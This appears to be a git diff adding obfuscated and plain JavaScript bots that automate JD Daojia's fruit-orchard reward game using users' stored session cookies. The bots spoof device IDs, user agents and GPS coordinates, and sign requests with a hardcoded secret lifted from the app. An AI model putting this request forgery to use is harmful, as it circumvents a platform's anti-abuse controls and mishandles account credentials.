Math[_0x37a5ea(0x1366,0x142c,0xdc8,0x683,'\x77\x40\x43\x59')](_0x12e43c[_0x599334('\x33\x2a\x64\x68',0x482,-0x220,-0x349,0x972)](_0x12e43c[_0x37a5ea(0xfb8,0x5d3,0xe8e,0x968,'\x6d\x5e\x6e\x43')](0x2*-0xc3e+-0x1*0xec3+0x2740,Math[_0x37a5ea(0x130d,0xe7b,0xbb5,0x6e3,'\x36\x57\x6b\x69')+'\x6d']()),-0xb46b*-0x1+0x1*0x16abd+0x1fe8*-0x9))[_0x34bcd7(0xd7b,0xeed,'\x6b\x59\x6b\x44',0xf52,0x121c)+_0x34bcd7(0x8eb,0x15aa,'\x75\x5d\x54\x4f',0x10a1,0x826)](-0x1*-0x173f+0xa*-0x251+-0x5*0x1)[_0x34bcd7(0xd9d,0x6a2,'\x41\x43\x59\x76',0xc97,0x1134)+_0x35859a(0xbdd,0x1052,0x2a9,'\x36\x70\x67\x64',0xef0)](0x2558+-0xe69+-0x16ee);}return _0x12e43c[_0x4e8fa1('\x66\x66\x76\x75',0xd36,-0x272,0x304,0x4d2)](_0x12e43c[_0x4e8fa1('\x52\x59\x64\x49',-0x581,0x990,-0x308,0x22f)](_0x12e43c[_0x4e8fa1('\x73\x48\x6e\x6e',0xf59,0xaba,0x13df,0xc97)](_0x12e43c[_0x3c27d4(0x1710,'\x36\x70\x67\x64',0xe37,0x1a03,0xef0)](_0x12e43c[_0x3c27d4(0x832,'\x42\x23\x5e\x5b',0x82b,0x10db,0xf2f)](_0x12e43c[_0x547edf(0x3cc,'\x53\x34\x6c\x29',-0x157,0x439,-0x489)](_0x12e43c[_0x4e8fa1('\x32\x49\x5b\x49',0x766,0x996,0x31e,0x1a5)](_0x12e43c[_0x547edf(0x98b,'\x24\x6e\x5d\x79',0x116a,0x9c3,0x1101)](_0x12e43c[_0x291430(0x1c59,'\x73\x48\x6e\x6e',0x16b1,0x15c5,0x11fe)](_0x12e43c[_0x547edf(-0x32d,'\x78\x45\x43\x4d',0x4fe,0x3f1,0x32b)](_0x12e43c[_0x547edf(0x915,'\x65\x54\x72\x35',-0x78,0x496,-0xc1)](_0x12e43c[_0x31d951(0xd22,0x139f,0x180a,0xf73,'\x35\x37\x26\x25')](_0x52652a),_0x12e43c[_0x31d951(0xc49,0xf93,0x7db,0x710,'\x5d\x5d\x4d\x42')](_0x52652a)),'\x2d'),_0x12e43c[_0x291430(0xa0c,'\x6d\x5e\x6e\x43',0x13f0,0x10b7,0xc62)](_0x52652a)),'\x2d'),_0x12e43c[_0x4e8fa1('\x35\x37\x26\x25',0x651,0x5f0,0x27f,0x2eb)](_0x52652a)),'\x2d'),_0x12e43c[_0x4e8fa1('\x77\x40\x43\x59',0xbe3,0x906,0x113b,0xf73)](_0x52652a)),'\x2d'),_0x12e43c[_0x291430(0xc64,'\x47\x38\x4e\x52',0xbe5,0x139c,0xe2c)](_0x52652a)),_0x12e43c[_0x3c27d4(0xacb,'\x45\x33\x6b\x40',0xa8c,0x1a6,0x643)](_0x52652a)),_0x12e43c[_0x547edf(0xa49,'\x41\x43\x59\x76',-0x295,0x5e8,-0x4)](_0x52652a));}function getZoneTime(_0x2cc281){const _0x54ebd3={'\x4b\x78\x73\x61\x4b':_0x416dca(0x1126,0x165b,'\x57\x38\x4f\x70',0x1873,0x1132)+_0x40a82c('\x63\x66\x74\x31',0x162a,0x1338,0x1aa1,0xd3f)+_0x45e417(0x12d2,0x9c8,'\x6d\x57\x5a\x29',0x51b,0x11b4),'\x59\x48\x4f\x61\x75':function(_0x2067da,_0xb2f3eb){return _0x2067da+_0xb2f3eb;},'\x6f\x6b\x74\x64\x5a':function(_0x2bc07f,_0x2d24ca){return _0x2bc07f*_0x2d24ca;},'\x64\x4b\x73\x42\x4f':function(_0xf9bc8,_0x34aac6){return _0xf9bc8+_0x34aac6;},'\x51\x61\x74\x75\x45':function(_0x250656,_0x3d6015){return _0x250656*_0x3d6015;},'\x76\x76\x49\x59\x44':function(_0x276b1d,_0x2fe349){return _0x276b1d+_0x2fe349;},'\x72\x6c\x63\x41\x61':function(_0x4221b6,_0x1b2dc){return _0x4221b6+_0x1b2dc;}};function _0x53f7af(_0x3d39ba,_0x42142d,_0x1f1b87,_0x330159,_0x3cd3ee){return _0xdd0bc1(_0x42142d-0x169,_0x42142d-0x2c,_0x3cd3ee,_0x330159-0x191,_0x3cd3ee-0xc2);}function _0x40a82c(_0x388ae3,_0x1833b3,_0x2927af,_0x496d0d,_0x4f8e09){return _0x353885(_0x388ae3,_0x1833b3-0x46,_0x2927af-0x11b,_0x496d0d-0x19f,_0x2927af- -0x152);}function _0x1a7fe4(_0x1653cb,_0x1c2db8,_0x3fa9bc,_0x4b8cf4,_0xf50be0){return _0xdd0bc1(_0x3fa9bc-0x205,_0x1c2db8-0x86,_0x1653cb,_0x4b8cf4-0x166,_0xf50be0-0xf1);}function _0x416dca(_0x41a52c,_0x50b597,_0x5115c9,_0x1751f8,_0x146861){return _0x1e1b73(_0x41a52c-0x4e,_0x50b597-0x77,_0x5115c9,_0x146861- -0x202,_0x146861-0x14e);}function _0x45e417(_0x342387,_0x5e3d1c,_0x107050,_0x392dee,_0x1e69b0){return _0x43f741(_0x5e3d1c-0x20e,_0x5e3d1c-0x89,_0x107050,_0x392dee-0x1a,_0x1e69b0-0xb9);}const _0x1c9f04=_0x54ebd3[_0x416dca(0x658,0x160e,'\x52\x7a\x58\x2a',0xcbb,0xf6a)][_0x40a82c('\x76\x78\x62\x62',0x5dc,0xc93,0x989,0x139c)]('\x7c');let _0x48bb7e=0x4e+-0xdd5*0x1+0xd87;while(!![]){switch(_0x1c9f04[_0x48bb7e++]){case'\x30':var _0x5f3487=_0x54ebd3[_0x1a7fe4('\x62\x77\x6a\x54',0x11bc,0x114d,0xa1b,0x16b1)](_0x267a40,_0x54ebd3[_0x53f7af(0x124c,0xd8f,0x516,0x11b1,'\x78\x56\x67\x4f')](-0x30ed76+-0x19329*0x2f+0xb1e07d,_0x2cc281));continue;case'\x31':var _0x267a40=_0x54ebd3[_0x45e417(0x610,0xa71,'\x52\x59\x64\x49',0xfbc,0x1187)](_0x5c0c07,_0x1829b1);continue;case'\x32':var _0x5c0c07=_0x54ebd3[_0x1a7fe4('\x66\x66\x76\x75',0x1377,0xb9a,0x2b3,0xc59)](_0x2432ca[_0x40a82c('\x53\x34\x6c\x29',0x1391,0x1497,0xbdc,0x157f)+_0x1a7fe4('\x4f\x4f\x25\x29',0x23c,0xa77,0x1181,0xdc5)+_0x53f7af(-0x310,0x354,0x433,-0x56,'\x6b\x59\x6b\x44')+'\x65\x74'](),-0x16ed*0x9+0x8*0x3922+0x105b*-0x1);continue;case'\x33':var _0x2432ca=new Date();continue;case'\x34':var _0xb22d60=new Date(_0x5f3487);continue;case'\x35':var _0x1829b1=_0x2432ca[_0x53f7af(0x1ae6,0x12de,0x1891,0x103d,'\x32\x49\x5b\x49')+'\x6d\x65']();continue;case'\x36':return _0x54ebd3[_0x1a7fe4('\x46\x6f\x5e\x6c',-0x7c,0x25b,0x55e,-0x659)](_0x54ebd3[_0x416dca(-0x542,-0x3de,'\x36\x70\x67\x64',0x4b1,0x417)](_0x54ebd3[_0x53f7af(0xf1e,0x631,0xf26,0x6f3,'\x53\x28\x21\x51')](_0x54ebd3[_0x416dca(0x274,0x33,'\x45\x24\x6c\x69',0xbd9,0x93f)](_0x54ebd3[_0x45e417(0x15b0,0xd86,'\x36\x57\x6b\x69',0x1184,0xe72)](_0x54ebd3[_0x416dca(0x5ce,0xe56,'\x5a\x30\x31\x38',0x1281,0xb62)](_0xb22d60[_0x1a7fe4('\x53\x34\x6c\x29',0xc93,0x84f,0x10df,0x109)+_0x53f7af(0x13,0x5c0,-0x2d6,0x8ab,'\x6e\x70\x4f\x48')+'\x6e\x67'](),'\x20'),_0xb22d60[_0x416dca(0xa73,-0x159,'\x4f\x40\x44\x71',0x3b8,0x46b)+_0x416dca(0x15ec,0x134f,'\x47\x28\x51\x45',0x177b,0x11e1)]()),'\x3a'),_0xb22d60[_0x416dca(0x10bf,0x1165,'\x32\x49\x5b\x49',0xdf8,0xfd5)+_0x416dca(-0x10c,0xb75,'\x24\x63\x6f\x37',0xdc5,0x72e)]()),'\x3a'),_0xb22d60[_0x40a82c('\x53\x41\x31\x35',0x254,0x49f,-0x152,0x391)+_0x1a7fe4('\x6d\x5e\x6e\x43',0xcc8,0x4a3,0x275,0xc9c)]());}break;}} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase=0;var b64pad="";function hex_sha256(s){return rstr2hex(rstr_sha256(str2rstr_utf8(s)))}function b64_sha256(s){return rstr2b64(rstr_sha256(str2rstr_utf8(s)))}function any_sha256(s,e){return rstr2any(rstr_sha256(str2rstr_utf8(s)),e)}function hex_hmac_sha256(k,d){return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function b64_hmac_sha256(k,d){return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function any_hmac_sha256(k,d,e){return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)),e)}function sha256_vm_test(){return hex_sha256("abc").toLowerCase()=="ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}function rstr_sha256(s){return binb2rstr(binb_sha256(rstr2binb(s),s.length*8))}function rstr_hmac_sha256(key,data){var bkey=rstr2binb(key);if(bkey.length>16)bkey=binb_sha256(bkey,key.length*8);var ipad=Array(16),opad=Array(16);for(var i=0;i<16;i++){ipad[i]=bkey[i]^0x36363636;opad[i]=bkey[i]^0x5C5C5C5C}var hash=binb_sha256(ipad.concat(rstr2binb(data)),512+data.length*8);return binb2rstr(binb_sha256(opad.concat(hash),512+256))}function rstr2hex(input){try{hexcase}catch(e){hexcase=0}var hex_tab=hexcase?"0123456789ABCDEF":"0123456789abcdef";var output="";var x;for(var i=0;i>>4)&0x0F)+hex_tab.charAt(x&0x0F)}return output}function rstr2b64(input){try{b64pad}catch(e){b64pad=''}var tab="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var output="";var len=input.length;for(var i=0;iinput.length*8)output+=b64pad;else output+=tab.charAt((triplet>>>6*(3-j))&0x3F)}}return output}function rstr2any(input,encoding){var divisor=encoding.length;var remainders=Array();var i,q,x,quotient;var dividend=Array(Math.ceil(input.length/2));for(i=0;i0){quotient=Array();x=0;for(i=0;i0||q>0)quotient[quotient.length]=q}remainders[remainders.length]=x;dividend=quotient}var output="";for(i=remainders.length-1;i>=0;i--)output+=encoding.charAt(remainders[i]);var full_length=Math.ceil(input.length*8/(Math.log(encoding.length)/Math.log(2)));for(i=output.length;i>>6)&0x1F),0x80|(x&0x3F));else if(x<=0xFFFF)output+=String.fromCharCode(0xE0|((x>>>12)&0x0F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F));else if(x<=0x1FFFFF)output+=String.fromCharCode(0xF0|((x>>>18)&0x07),0x80|((x>>>12)&0x3F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F))}return output}function str2rstr_utf16le(input){var output="";for(var i=0;i>>8)&0xFF);return output}function str2rstr_utf16be(input){var output="";for(var i=0;i>>8)&0xFF,input.charCodeAt(i)&0xFF);return output}function rstr2binb(input){var output=Array(input.length>>2);for(var i=0;i>5]|=(input.charCodeAt(i/8)&0xFF)<<(24-i%32);return output}function binb2rstr(input){var output="";for(var i=0;i>5]>>>(24-i%32))&0xFF);return output}function sha256_S(X,n){return(X>>>n)|(X<<(32-n))}function sha256_R(X,n){return(X>>>n)}function sha256_Ch(x,y,z){return((x&y)^((~x)&z))}function sha256_Maj(x,y,z){return((x&y)^(x&z)^(y&z))}function sha256_Sigma0256(x){return(sha256_S(x,2)^sha256_S(x,13)^sha256_S(x,22))}function sha256_Sigma1256(x){return(sha256_S(x,6)^sha256_S(x,11)^sha256_S(x,25))}function sha256_Gamma0256(x){return(sha256_S(x,7)^sha256_S(x,18)^sha256_R(x,3))}function sha256_Gamma1256(x){return(sha256_S(x,17)^sha256_S(x,19)^sha256_R(x,10))}function sha256_Sigma0512(x){return(sha256_S(x,28)^sha256_S(x,34)^sha256_S(x,39))}function sha256_Sigma1512(x){return(sha256_S(x,14)^sha256_S(x,18)^sha256_S(x,41))}function sha256_Gamma0512(x){return(sha256_S(x,1)^sha256_S(x,8)^sha256_R(x,7))}function sha256_Gamma1512(x){return(sha256_S(x,19)^sha256_S(x,61)^sha256_R(x,6))}var sha256_K=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function binb_sha256(m,l){var HASH=new Array(1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225);var W=new Array(64);var a,b,c,d,e,f,g,h;var i,j,T1,T2;m[l>>5]|=0x80<<(24-l%32);m[((l+64>>9)<<4)+15]=l;for(i=0;i>16)+(y>>16)+(lsw>>16);return(msw<<16)|(lsw&0xFFFF)} +/*********************************** SHA256 *************************************/ diff --git a/jddj_fruit.json b/jddj_fruit.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_fruit.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_fruit_collectWater.js b/jddj_fruit_collectWater.js new file mode 100644 index 0000000..f18e53a --- /dev/null +++ b/jddj_fruit_collectWater.js @@ -0,0 +1,304 @@ +/* +京东到家果园水车收水滴任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 +*/ + +//[task_local] +// 5 */1 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js + +//================Loon============== +//[Script] +//cron "5 */1 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js,tag=京东到家果园水车收水滴 +// + +const $ = new API("jddj_fruit_collectWater"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + await treeInfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await collectWater(); + await $.wait(1000); + + // await water(); + // await $.wait(1000); + + // await treeInfo(); + // await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + try { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } catch (error) { + console.log("●●●昵称获取失败●●●"); + } + + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//收水滴 +async function collectWater() { + return new Promise(async resolve => { + try { + let time = Math.round(new Date()); + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + time + '&_funid_=fruit/collectWater', 'functionId=fruit%2FcollectWater&isNeedDealError=true&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=rn&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + time + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + time + '&_funid_=fruit%2FcollectWater'); + option.url += '&' + option.body; + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水滴】:' + data.msg + ',累计收获:' + data.result.totalCollectWater); + } + else { + console.log('\n【收水滴】:' + data.msg); + } + }) + resolve(); + + } catch (error) { + console.log('\n【收水滴】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10007%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve({}); + } + + }) +} + +//浇水 +async function water() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22waterTime%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) + +} + +//当前果树详情 +async function treeInfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com:443/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2FinitFruit&isNeedDealError=true&method=POST&body=%7B%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【果树信息】:' + data.result.activityInfoResponse.fruitName + ',还需浇水' + data.result.activityInfoResponse.curStageLeftProcess + '次' + data.result.activityInfoResponse.stageName + ',还剩' + data.result.userResponse.waterBalance + '滴水'); + shareCode = data.result.activityInfoResponse.userPin; + } + resolve(); + }) + } catch (error) { + console.log('\n【果树信息】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + + let arr = decodeURIComponent(body).split('&'); + let json = {}, keys = [], sortVlaues = []; + for (const o of arr) { + let c = o.split('='); + if (!!c[1] && c[0] != 'functionId' && c[0] != 'signKeyV1') { + json[c[0]] = c[1]; + keys.push(c[0]); + } + } + keys = keys.sort(); + keys.forEach(element => { + sortVlaues.push(json[element]); + }); + + const secret = "923047ae3f8d11d8b19aeb9f3d1bc200";//秘钥 + let cryptoContent = hex_hmac_sha256(secret, sortVlaues.join('&')); + + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.1.0;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;addressid/397459499;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn' + }, + body: body + '&signKeyV1=' + cryptoContent + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && 